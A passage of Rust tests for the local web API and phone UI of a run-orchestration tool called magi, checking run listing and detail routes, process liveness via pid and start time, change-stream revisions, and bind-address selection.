6978        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6979        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6980
6981        // The successor's whole job, and the one thing it cannot do while this
6982        // process still holds the socket.
6983        //
6984        // One bind is not enough, and the reason is not this process's order of
6985        // operations: aborting the accept loop drops the listener, but axum
6986        // serves each accepted connection on a task of its own, and those are
6987        // not aborted. The requests above left sockets on this very address,
6988        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
6989        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
6990        // Production absorbs that in `bind_waiting`; so does this. Only
6991        // `AddrInUse` is retried, and the listener is released before the
6992        // closure returns - were the order wrong, the listener would outlive
6993        // the closure and every attempt would fail. Inferred from the bind
6994        // rules and the code; not reproduced on macOS.
6995        let bound = std::sync::Mutex::new(None);
6996        hand_over(home.path(), &looping, served, || {
6997            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
6998            let attempt = loop {
6999                match std::net::TcpListener::bind(addr) {
7000                    Ok(l) => {
7001                        drop(l);
7002                        break Ok(());
7003                    }
7004                    Err(e)
7005                        if e.kind() == std::io::ErrorKind::AddrInUse
7006                            && std::time::Instant::now() < deadline =>
7007                    {
7008                        std::thread::sleep(std::time::Duration::from_millis(10));
7009                    }
7010                    Err(e) => break Err(e.to_string()),
7011                }
7012            };
7013            *bound.lock().expect("bound") = Some(attempt);
7014            Ok(())
7015        })
7016        .await
7017        .expect("hand over");
7018
7019        assert_eq!(
7020            *PARK_HEARD.lock().expect("park heard"),
7021            Some(200),
7022            "the deck must answer while the loop is parking"
7023        );
7024        let attempt = bound
7025            .lock()
7026            .expect("bound")
7027            .take()
7028            .expect("the successor was started");
7029        assert!(
7030            attempt.is_ok(),
7031            "and the address must be free by the time it is: {attempt:?}"
7032        );
7033    }
7034
7035    #[tokio::test]
7036    async fn a_newer_daemon_status_file_still_renders() {
7037        let f = Fixture::start().await;
7038        // A field this build has never heard of must not turn the status line
7039        // into a 500; that is the whole reason the reader is permissive.
7040        std::fs::write(
7041            f.home.path().join("daemon.json"),
7042            serde_json::json!({
7043                "schema": 2,
7044                "updated_at": Timestamp::now().to_string(),
7045                "idle": true,
7046                "surprise": { "nested": [1, 2, 3] },
7047            })
7048            .to_string(),
7049        )
7050        .expect("write daemon.json");
7051
7052        let health = f.get("/api/health").await;
7053
7054        assert_eq!(health.status, 200);
7055        assert_eq!(health.json()["daemon"]["running"], true);
7056    }
7057
7058    #[tokio::test]
7059    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7060        let f = Fixture::start().await;
7061        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7062        let broken = f.runs().join("20260902-140502-bad");
7063        std::fs::create_dir_all(&broken).expect("run dir");
7064        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7065
7066        let list = f.get("/api/runs").await;
7067        let detail = f.get("/api/runs/20260902-140502-bad").await;
7068
7069        assert_eq!(list.status, 200);
7070        let listed = list.json();
7071        let ids: Vec<&str> = listed
7072            .as_array()
7073            .expect("an array")
7074            .iter()
7075            .map(|r| r["id"].as_str().expect("an id"))
7076            .collect();
7077        assert_eq!(
7078            ids,
7079            vec!["20260902-140501-good"],
7080            "one unreadable run must not cost the operator the whole history"
7081        );
7082        assert_eq!(detail.status, 500);
7083        assert!(
7084            detail.json()["error"]
7085                .as_str()
7086                .is_some_and(|e| e.contains("run.json")),
7087            "the failure names the file to look at: {}",
7088            detail.body
7089        );
7090        // A skipped run has to be countable somewhere, or the UI shows an
7091        // empty history with nothing to explain it - which is exactly what a
7092        // directory full of older-schema runs looks like.
7093        let health = f.get("/api/health").await;
7094        assert_eq!(health.json()["runs_unreadable"], 1);
7095    }
7096
7097    #[tokio::test]
7098    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
7099        let f = Fixture::start().await;
7100        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
7101
7102        let summary = f.get("/api/runs").await.json();
7103        let row = &summary[0];
7104        assert_eq!(row["short"], "a1b2");
7105        assert_eq!(row["status"], "ready");
7106        assert_eq!(row["done"], true);
7107        assert_eq!(row["title"], "Add a web UI");
7108        assert_eq!(row["repo_name"], "magi");
7109        assert_eq!(row["judges"], 3);
7110        assert_eq!(row["winner"], Value::Null);
7111        assert_eq!(row["reviews"], 0);
7112
7113        // The short id resolves, and the detail route is the state itself, not
7114        // a projection of it: the UI reads fields the summary does not carry.
7115        let detail = f.get("/api/runs/a1b2").await;
7116        assert_eq!(detail.status, 200);
7117        assert_eq!(detail.json()["base_branch"], "main");
7118        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7119    }
7120
7121    /// `status: "ready"` alone cannot tell a run still headed for a landing
7122    /// (a PR closed without merging, say) apart from one `[merge] mode =
7123    /// "none"` left unmerged for good — the confusion the operator flagged
7124    /// after the CLI report already grew a `not landed — nothing to do by
7125    /// design` line for exactly this case (`report.rs`). Both the list route
7126    /// and the detail route must carry a flag the phone can key on instead of
7127    /// re-deriving it from `status` + `merge.mode` itself.
7128    #[tokio::test]
7129    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
7130        let f = Fixture::start().await;
7131
7132        let mut none_run = RunState::new(
7133            PathBuf::from("/repo/magi"),
7134            "main".to_owned(),
7135            "0123456789abcdef".to_owned(),
7136            "Add a web UI".to_owned(),
7137            Config::default(),
7138        );
7139        none_run.id = "20260902-140503-none".to_owned();
7140        none_run.status = RunStatus::Ready;
7141        none_run.merge = Some(crate::run::MergeOutcome {
7142            mode: crate::config::MergeMode::None,
7143            ok: true,
7144            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
7145        });
7146        write_state(&f.runs(), &none_run);
7147
7148        let mut pr_run = RunState::new(
7149            PathBuf::from("/repo/magi"),
7150            "main".to_owned(),
7151            "0123456789abcdef".to_owned(),
7152            "Add a web UI".to_owned(),
7153            Config::default(),
7154        );
7155        pr_run.id = "20260902-140504-prcl".to_owned();
7156        pr_run.status = RunStatus::Ready;
7157        pr_run.merge = Some(crate::run::MergeOutcome {
7158            mode: crate::config::MergeMode::Pr,
7159            ok: false,
7160            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
7161        });
7162        write_state(&f.runs(), &pr_run);
7163
7164        let summary = f.get("/api/runs").await.json();
7165        let rows: std::collections::HashMap<&str, &Value> = summary
7166            .as_array()
7167            .expect("an array")
7168            .iter()
7169            .map(|r| (r["id"].as_str().expect("an id"), r))
7170            .collect();
7171        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
7172        assert_eq!(
7173            rows[none_run.id.as_str()]["unmerged_by_design"],
7174            true,
7175            "a mode-none Ready must be flagged in the list"
7176        );
7177        assert_eq!(
7178            rows[pr_run.id.as_str()]["unmerged_by_design"],
7179            false,
7180            "a Ready reached by a closed pull request is a different case"
7181        );
7182
7183        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
7184        assert_eq!(none_detail["status"], "ready");
7185        assert_eq!(none_detail["unmerged_by_design"], true);
7186
7187        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
7188        assert_eq!(pr_detail["unmerged_by_design"], false);
7189    }
7190
7191    /// `RunState::active` is only ever cleared by whoever populated it, so the
7192    /// detail route also has to say whether a daemon is actually still
7193    /// driving this run right now — otherwise a seat from a killed process's
7194    /// last wave would read as live forever.
7195    #[tokio::test]
7196    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7197        let f = Fixture::start().await;
7198        // Matches `write_daemon`'s hard-coded `current.run`, so the second
7199        // half of this test can claim the daemon is working on it without a
7200        // second helper.
7201        let id = "20260902-140502-bbbb";
7202        let mut state = RunState::new(
7203            PathBuf::from("/repo/magi"),
7204            "main".to_owned(),
7205            "0123456789abcdef".to_owned(),
7206            "Add a web UI".to_owned(),
7207            Config::default(),
7208        );
7209        state.id = id.to_owned();
7210        state.status = RunStatus::Judging;
7211        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7212        let dir = f.runs().join(id);
7213        std::fs::create_dir_all(&dir).expect("run dir");
7214        std::fs::write(
7215            dir.join("run.json"),
7216            serde_json::to_string_pretty(&state).expect("serialize run"),
7217        )
7218        .expect("write run.json");
7219
7220        // No daemon.json at all, and no `driver_pid` recorded either (this
7221        // state was written directly, never through `execute()`): there is
7222        // nothing to confirm either way, so the route must say `"unknown"` —
7223        // never `"dead"`, which is exactly the false diagnosis a manual `magi
7224        // run` used to get from this route before `driver_pid` existed.
7225        let cold = f.get(&format!("/api/runs/{id}")).await.json();
7226        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7227        assert_eq!(cold["live"], "unknown", "{cold}");
7228
7229        // A fresh heartbeat naming exactly this run: the same entry now reads
7230        // as confirmed, not merely recorded.
7231        write_daemon(f.home.path(), Timestamp::now());
7232        let warm = f.get(&format!("/api/runs/{id}")).await.json();
7233        assert_eq!(warm["live"], "live", "{warm}");
7234    }
7235
7236    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
7237    /// review` claims no daemon at all, so before this field existed the
7238    /// route above read it as `"dead"` — indistinguishable from a run a
7239    /// killed process abandoned — the whole time it was genuinely still
7240    /// answering. With a live pid recorded, it must read `"live"` even
7241    /// though no daemon claims it.
7242    #[tokio::test]
7243    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
7244        let f = Fixture::start().await;
7245        let id = "20260922-090000-cccc";
7246        let mut state = RunState::new(
7247            PathBuf::from("/repo/magi"),
7248            "main".to_owned(),
7249            "0123456789abcdef".to_owned(),
7250            "Review only".to_owned(),
7251            Config::default(),
7252        );
7253        state.id = id.to_owned();
7254        state.status = RunStatus::Reviewing;
7255        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7256        // This test process's own pid: guaranteed alive, and never needs a
7257        // real daemon or a second process to prove it. The matching start-time
7258        // marker is what `liveness` now requires alongside a live pid — see
7259        // `RunState::driver_started_at`'s own doc for why the pid alone is
7260        // not enough.
7261        state.driver_pid = Some(std::process::id());
7262        state.driver_started_at = Some(
7263            crate::proc::process_started_at(std::process::id())
7264                .expect("this test process's own start time must be queryable"),
7265        );
7266        let dir = f.runs().join(id);
7267        std::fs::create_dir_all(&dir).expect("run dir");
7268        std::fs::write(
7269            dir.join("run.json"),
7270            serde_json::to_string_pretty(&state).expect("serialize run"),
7271        )
7272        .expect("write run.json");
7273
7274        let detail = f.get(&format!("/api/runs/{id}")).await.json();
7275        assert_eq!(detail["live"], "live", "{detail}");
7276    }
7277
7278    /// A killed manual run's pid can be handed to a wholly unrelated later
7279    /// process — a live query on `driver_pid` alone would read this as
7280    /// `"live"`, exactly the false positive `driver_started_at` exists to
7281    /// catch (see that field's own doc, and `RunState::liveness_with`'s
7282    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
7283    #[tokio::test]
7284    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
7285        let f = Fixture::start().await;
7286        let id = "20260922-090100-dddd";
7287        let mut state = RunState::new(
7288            PathBuf::from("/repo/magi"),
7289            "main".to_owned(),
7290            "0123456789abcdef".to_owned(),
7291            "Review only".to_owned(),
7292            Config::default(),
7293        );
7294        state.id = id.to_owned();
7295        state.status = RunStatus::Reviewing;
7296        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
7297        // This test process's own pid really is alive, but the marker
7298        // recorded here does not match what it actually started at —
7299        // standing in for the pid having since been reused by a different
7300        // process than the one that wrote `run.json`.
7301        state.driver_pid = Some(std::process::id());
7302        state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
7303        let dir = f.runs().join(id);
7304        std::fs::create_dir_all(&dir).expect("run dir");
7305        std::fs::write(
7306            dir.join("run.json"),
7307            serde_json::to_string_pretty(&state).expect("serialize run"),
7308        )
7309        .expect("write run.json");
7310
7311        let detail = f.get(&format!("/api/runs/{id}")).await.json();
7312        assert_eq!(detail["live"], "dead", "{detail}");
7313    }
7314
7315    /// The deck's competition list is normally the first place an operator
7316    /// sees an old run. It must carry the same process verdict as detail, or
7317    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
7318    #[test]
7319    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
7320        let mk = |id: &str, pid: Option<u32>| {
7321            let mut s = RunState::new(
7322                PathBuf::from("/repo/magi"),
7323                "main".to_owned(),
7324                "0123456789abcdef".to_owned(),
7325                "Add a web UI".to_owned(),
7326                Config::default(),
7327            );
7328            s.id = id.to_owned();
7329            s.driver_pid = pid;
7330            s.driver_started_at = Some("t0".to_owned());
7331            s
7332        };
7333        let states = vec![
7334            mk("20260902-140502-aaaa", Some(77)),
7335            mk("20260902-140502-bbbb", Some(77)),
7336            mk("20260902-140502-cccc", Some(77)),
7337            mk("20260902-140502-dddd", None),
7338        ];
7339        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
7340        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
7341        let sup: HashMap<String, String> = [(
7342            "20260902-140502-aaaa".to_owned(),
7343            "20260902-140502-cccc".to_owned(),
7344        )]
7345        .into();
7346
7347        let status_calls = std::cell::Cell::new(0);
7348        let identity_calls = std::cell::Cell::new(0);
7349        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
7350            |_| {
7351                status_calls.set(status_calls.get() + 1);
7352                Some(true)
7353            },
7354            |_| {
7355                identity_calls.set(identity_calls.get() + 1);
7356                Some("t0".to_owned())
7357            },
7358        ));
7359        let rows = summarize(
7360            states,
7361            &open,
7362            &claimed,
7363            &sup,
7364            |p| probe.borrow_mut().status(p),
7365            |p| probe.borrow_mut().started_at(p),
7366        );
7367
7368        assert_eq!(status_calls.get(), 1, "one pid, one status query");
7369        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
7370        assert_eq!(rows.len(), 4);
7371        assert!(!rows[0].waiting && rows[1].waiting);
7372        assert_eq!(rows[0].live, crate::run::Liveness::Live);
7373        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
7374        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
7375        assert_eq!(rows[1].superseded_by, None);
7376    }
7377
7378    #[test]
7379    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
7380        let mut state = RunState::new(
7381            PathBuf::from("/repo/magi"),
7382            "main".to_owned(),
7383            "0123456789abcdef".to_owned(),
7384            "Review only".to_owned(),
7385            Config::default(),
7386        );
7387        state.id = "20260922-090200-dead".to_owned();
7388        state.status = RunStatus::Reviewing;
7389        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
7390            .expect("serialize list row");
7391        assert_eq!(row["status"], "reviewing");
7392        assert_eq!(row["live"], "dead", "{row}");
7393        assert!(!row["done"].as_bool().unwrap());
7394    }
7395
7396    #[tokio::test]
7397    async fn the_run_list_is_newest_first_and_honours_a_limit() {
7398        let f = Fixture::start().await;
7399        for id in [
7400            "20260902-140501-aaaa",
7401            "20260902-140502-bbbb",
7402            "20260902-140503-cccc",
7403        ] {
7404            write_run(&f.runs(), id, RunStatus::Merged);
7405        }
7406
7407        let all = f.get("/api/runs").await.json();
7408        let capped = f.get("/api/runs?limit=2").await.json();
7409
7410        assert_eq!(all[0]["id"], "20260902-140503-cccc");
7411        assert_eq!(all.as_array().map(Vec::len), Some(3));
7412        assert_eq!(capped.as_array().map(Vec::len), Some(2));
7413        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7414    }
7415
7416    #[tokio::test]
7417    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7418        let f = Fixture::start().await;
7419        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7420
7421        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7422
7423        assert_eq!(res.status, 200);
7424        assert!(
7425            res.headers
7426                .contains("content-type: text/plain; charset=utf-8"),
7427            "a browser must render it, not download it: {}",
7428            res.headers
7429        );
7430        // The assertion is on content, not on the absence of escapes: colour
7431        // is a process-global that `serve` turns off at startup, and another
7432        // test in this binary may own it while this one runs.
7433        assert!(
7434            res.body.contains("20260902-140501-a1b2"),
7435            "the report is about the run that was asked for: {}",
7436            res.body
7437        );
7438    }
7439
7440    #[tokio::test]
7441    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7442        let f = Fixture::start().await;
7443
7444        let html = f.get("/").await;
7445        let css = f.get("/app.css").await;
7446        let js = f.get("/app.js").await;
7447
7448        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7449        assert!(
7450            html.headers
7451                .contains("content-type: text/html; charset=utf-8")
7452        );
7453        assert!(css.headers.contains("content-type: text/css"));
7454        assert!(js.headers.contains("content-type: text/javascript"));
7455        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7456    }
7457
7458    #[test]
7459    fn review_rounds_label_a_distinct_verified_head() {
7460        assert!(APP_JS.contains("round.verified_head"));
7461        assert!(APP_JS.contains("verified HEAD"));
7462        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7463    }
7464
7465    #[test]
7466    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7467        // A blocked task's chip and note must not fall back to a queued-like
7468        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
7469        // itself by e11fc58 but never checked here.
7470        assert!(APP_JS.contains("blocked: { glyph:"));
7471        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7472
7473        // `blocked_by` mixes task ids and question ids in the same list, and
7474        // the client can only tell them apart by checking each id against
7475        // what it actually knows - never by guessing from the id's shape.
7476        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7477        assert!(
7478            APP_JS.contains(
7479                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7480            ),
7481            "the note line must name what a blocked task is waiting on, not just that it is blocked"
7482        );
7483        // The classification must key off `status_str`, never off `blocked_by`
7484        // or `block_reason` merely being present - both can survive briefly
7485        // on a task a hold or a dead daemon just moved off `blocked`.
7486        assert!(APP_JS.contains("if (status === \"blocked\") {"));
7487
7488        // A question a task is blocked on gets its own node in the same
7489        // dependency graph, not just a task-shaped node with nothing known
7490        // about it.
7491        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7492        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7493        assert!(
7494            APP_JS.contains("location.hash = \"#/questions\";"),
7495            "a question node must jump to the Questions screen, not pretend to be a task"
7496        );
7497
7498        // `Task::answers` - decisions already made - are shown as a record on
7499        // the card, the same disclosure style as the full instruction.
7500        assert!(APP_JS.contains("Resolved questions"));
7501        assert!(APP_JS.contains("r.answersList.append("));
7502        assert!(APP_CSS.contains(".task-answers"));
7503    }
7504
7505    #[test]
7506    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7507        assert!(
7508            APP_JS.contains("round.verified_head !== round.head"),
7509            "a round that verified an earlier commit must be visibly distinct from one that \
7510             verified the head reviewers are looking at now"
7511        );
7512        assert!(
7513            APP_JS.contains("round.verified_at"),
7514            "when a check ran must be on the wire, not just which commit"
7515        );
7516        assert!(
7517            APP_JS.contains("resource_blocked"),
7518            "a command magi never got to run (shared build cache contention) must not render \
7519             the same as a command that ran and failed"
7520        );
7521    }
7522
7523    #[tokio::test]
7524    async fn the_change_stream_announces_the_current_revisions_on_connect() {
7525        let f = Fixture::start().await;
7526
7527        let mut socket = tokio::net::TcpStream::connect(f.addr)
7528            .await
7529            .expect("connect");
7530        socket
7531            .write_all(
7532                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7533            )
7534            .await
7535            .expect("write request");
7536
7537        // Read until the first event arrives rather than to end of stream: the
7538        // stream is endless by design, which is the point of the route.
7539        let mut seen = String::new();
7540        let mut buf = [0u8; 1024];
7541        while !seen.contains("event: change") {
7542            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7543                .await
7544                .expect("the stream must speak within five seconds")
7545                .expect("read");
7546            assert!(read > 0, "the server closed the change stream: {seen}");
7547            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7548        }
7549
7550        assert!(
7551            seen.to_lowercase()
7552                .contains("content-type: text/event-stream"),
7553            "the browser only reconnects automatically for a real SSE stream: {seen}"
7554        );
7555        let data = seen
7556            .lines()
7557            .find_map(|l| l.strip_prefix("data:"))
7558            .expect("a data line");
7559        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7560        assert!(
7561            payload["queue_rev"].is_u64()
7562                && payload["runs_rev"].is_u64()
7563                && payload["questions_rev"].is_u64()
7564                && payload["talks_rev"].is_u64()
7565                && payload["notifications_rev"].is_u64()
7566                && payload["loop_rev"].is_u64(),
7567            "the client needs one revision per store to know what to refetch, \
7568             and `talks_rev` is the only notification a standing talk gets - a \
7569             phone whose radio slept through a turn learns about it here, as \
7570             does one whose operator started the loop from another device: \
7571             {payload}"
7572        );
7573
7574        // The front end re-polls health on a timer and on wake, and takes the
7575        // revisions from that answer whenever the stream is not up. So health
7576        // has to carry every key the stream carries: a phone on a link that
7577        // will not hold an SSE connection is exactly the phone that must still
7578        // notice a question, and a missing key there is not a 500 but a UI
7579        // that quietly stops updating.
7580        let health = f.get("/api/health").await.json();
7581        for key in [
7582            "queue_rev",
7583            "runs_rev",
7584            "questions_rev",
7585            "talks_rev",
7586            "notifications_rev",
7587            "loop_rev",
7588        ] {
7589            assert!(
7590                health[key].is_u64(),
7591                "health is the change stream's fallback and is missing `{key}`: {health}"
7592            );
7593        }
7594    }
7595
7596    #[tokio::test]
7597    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7598        let f = Fixture::start().await;
7599        let before = f.get("/api/health").await.json()["talks_rev"]
7600            .as_u64()
7601            .expect("talks_rev");
7602
7603        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7604        std::thread::sleep(Duration::from_millis(10));
7605        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7606        on_disk.turns.push(crate::talk::Turn {
7607            who: crate::talk::Who::Operator,
7608            body: "a new turn".to_owned(),
7609            at: Timestamp::now(),
7610            attachments: Vec::new(),
7611        });
7612        f.talks().put(&mut on_disk).expect("record a turn");
7613
7614        let after = f.get("/api/health").await.json()["talks_rev"]
7615            .as_u64()
7616            .expect("talks_rev");
7617        assert_ne!(
7618            before, after,
7619            "a phone must be able to notice a talk's reply without polling every store"
7620        );
7621    }
7622
7623    #[test]
7624    fn bind_reads_back_from_the_spelling_the_cli_prints() {
7625        // The CLI shows the default in `--help` and parses whatever comes
7626        // back, so the two directions have to agree or `--bind auto` breaks
7627        // the moment someone copies the help text.
7628        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7629            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7630        }
7631        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7632        assert!("everywhere".parse::<Bind>().is_err());
7633    }
7634
7635    #[test]
7636    fn an_explicit_bind_address_is_taken_verbatim() {
7637        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7638
7639        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7640
7641        assert_eq!(addr, asked);
7642        assert!(
7643            warning.is_none(),
7644            "an operator who named an address gets no lecture"
7645        );
7646    }
7647
7648    #[test]
7649    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7650        let (addr, warning) = resolve_bind(&Bind::Auto);
7651
7652        // This has to hold on a CI runner with no `tailscale` and on a dev box
7653        // with one, so the invariant asserted is the one shared by both
7654        // outcomes: the address is either a real tailnet address offered
7655        // without comment, or loopback with an explanation. What must never
7656        // happen is a silent fallback - an operator told "listening on
7657        // 127.0.0.1" with no reason would go looking for a firewall.
7658        match addr {
7659            IpAddr::V4(ip) if is_tailnet(&ip) => {
7660                assert!(warning.is_none(), "a tailnet address needs no warning");
7661            }
7662            other => {
7663                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7664                let warning = warning.expect("a fallback has to explain itself");
7665                assert!(
7666                    warning.contains("127.0.0.1") && warning.contains("local-only"),
7667                    "the warning says what happened and what it costs: {warning}"
7668                );
7669            }
7670        }
7671    }
7672
7673    #[test]
7674    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7675        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
7676        // boundary cases are what stop us binding to some other tool's idea of
7677        // an address.
7678        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7679        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7680        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7681        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7682        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7683    }
7684
7685    #[test]
7686    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7687        let ids = vec![
7688            "20260902-140501-aaaa".to_owned(),
7689            "20260902-140502-aabb".to_owned(),
7690        ];
7691
7692        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7693        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7694        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7695
7696        assert_eq!(missing.status, StatusCode::NOT_FOUND);
7697        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7698        assert_eq!(short, "20260902-140502-aabb");
7699    }
7700    #[tokio::test]
7701    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7702        // The prompt tells agents to reference attachments by bare filename.
7703        // A document served at `.../panel` resolves `shot.png` against its own
7704        // directory, i.e. `.../shot.png`, which is not the asset route - so a
7705        // panel written exactly as instructed showed broken images. Caught by
7706        // looking at a real one in a browser, not by reading the code.
7707        let fx = Fixture::start().await;
7708        let id = panel(
7709            &fx,
7710            "<img src=\"shot.png\">",
7711            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7712        );
7713
7714        // The frame's own URL ends in a filename, so its siblings are reachable.
7715        let doc = fx
7716            .get(&format!("/api/questions/{id}/panel/index.html"))
7717            .await;
7718        assert_eq!(doc.status, 200, "{}", doc.body);
7719        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7720
7721        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7722        assert_eq!(sibling.status, 200, "{}", sibling.body);
7723        assert_eq!(sibling.header("content-type"), Some("image/png"));
7724        assert_eq!(
7725            sibling.header("content-security-policy"),
7726            Some(PANEL_CSP),
7727            "the sibling route must carry the same policy as the asset route"
7728        );
7729
7730        // The original spelling keeps working: HEAD on it is how the front end
7731        // decides whether to mount a frame at all.
7732        assert_eq!(
7733            fx.head(&format!("/api/questions/{id}/panel")).await.status,
7734            200
7735        );
7736    }
7737
7738    #[test]
7739    fn runs_revision_moves_when_deleting_an_older_run() {
7740        let temp = TempDir::new().expect("tempdir");
7741        let runs = temp.path().join("runs");
7742        std::fs::create_dir_all(&runs).expect("create runs dir");
7743
7744        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7745
7746        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7747        std::thread::sleep(Duration::from_millis(10));
7748        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7749
7750        let rev_before = runs_revision(&runs);
7751        assert!(rev_before > 0);
7752
7753        let old_dir = runs.join("20260901-100000-old1");
7754        std::fs::remove_dir_all(&old_dir).expect("remove old run");
7755
7756        let rev_after = runs_revision(&runs);
7757        assert_ne!(
7758            rev_before, rev_after,
7759            "deleting an older run must change the revision so other clients see the deletion"
7760        );
7761    }
7762
7763    /// A run's own `run.json` on an explicit `runs` root, bypassing the
7764    /// process-global home entirely — `RunState::save` writes through
7765    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
7766    /// (see `tests::home_lock` in the integration suite for why).
7767    fn write_state(runs: &FsPath, state: &RunState) {
7768        let dir = runs.join(&state.id);
7769        std::fs::create_dir_all(&dir).expect("run dir");
7770        std::fs::write(
7771            dir.join("run.json"),
7772            serde_json::to_string_pretty(state).expect("serialize run"),
7773        )
7774        .expect("write run.json");
7775    }
7776
7777    /// A seat starting or finishing is a write to `run.json` like any other,
7778    /// so it moves the same revision the change stream already watches —
7779    /// nothing new for `/api/events` to learn, but the property this feature
7780    /// depends on to reach the phone without a poll.
7781    #[test]
7782    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7783        let temp = TempDir::new().expect("tempdir");
7784        let runs = temp.path().join("runs");
7785        std::fs::create_dir_all(&runs).expect("create runs dir");
7786        let mut state = RunState::new(
7787            PathBuf::from("/repo/magi"),
7788            "main".to_owned(),
7789            "0123456789abcdef".to_owned(),
7790            "task".to_owned(),
7791            Config::default(),
7792        );
7793        state.id = "20260902-100000-c0de".to_owned();
7794        write_state(&runs, &state);
7795
7796        let rev_idle = runs_revision(&runs);
7797        std::thread::sleep(Duration::from_millis(10));
7798        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7799        write_state(&runs, &state);
7800        let rev_started = runs_revision(&runs);
7801        assert_ne!(
7802            rev_idle, rev_started,
7803            "a seat starting must move the revision"
7804        );
7805
7806        std::thread::sleep(Duration::from_millis(10));
7807        state.seat_finished("judge-1");
7808        write_state(&runs, &state);
7809        let rev_finished = runs_revision(&runs);
7810        assert_ne!(
7811            rev_started, rev_finished,
7812            "and clearing it again must move the revision a second time"
7813        );
7814    }
7815
7816    #[tokio::test]
